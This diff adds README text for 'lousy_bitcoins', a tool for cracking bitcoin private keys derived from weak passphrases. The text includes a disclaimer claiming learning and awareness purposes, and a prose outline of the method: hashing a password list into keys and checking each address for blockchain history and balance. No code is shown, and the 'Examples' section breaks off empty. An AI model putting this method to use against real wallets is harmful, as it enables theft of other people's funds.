 # lousy_bitcoins
 Utility to try crack bitcoins private keys generated from weak passphrases.
+
+# Disclamer
+
+I hold no liability for what you do with this application.
+I built this for learning purposes and to try to get people to be more careful with their private keys. 
+
+# How it Works
+
+It generates private keys from a password list file, 
+then checks if the respective bitcoin address has any history on the blockchain. 
+If so, then checks if it has any balance.
+
+# Examples
+
+Some findings with history:
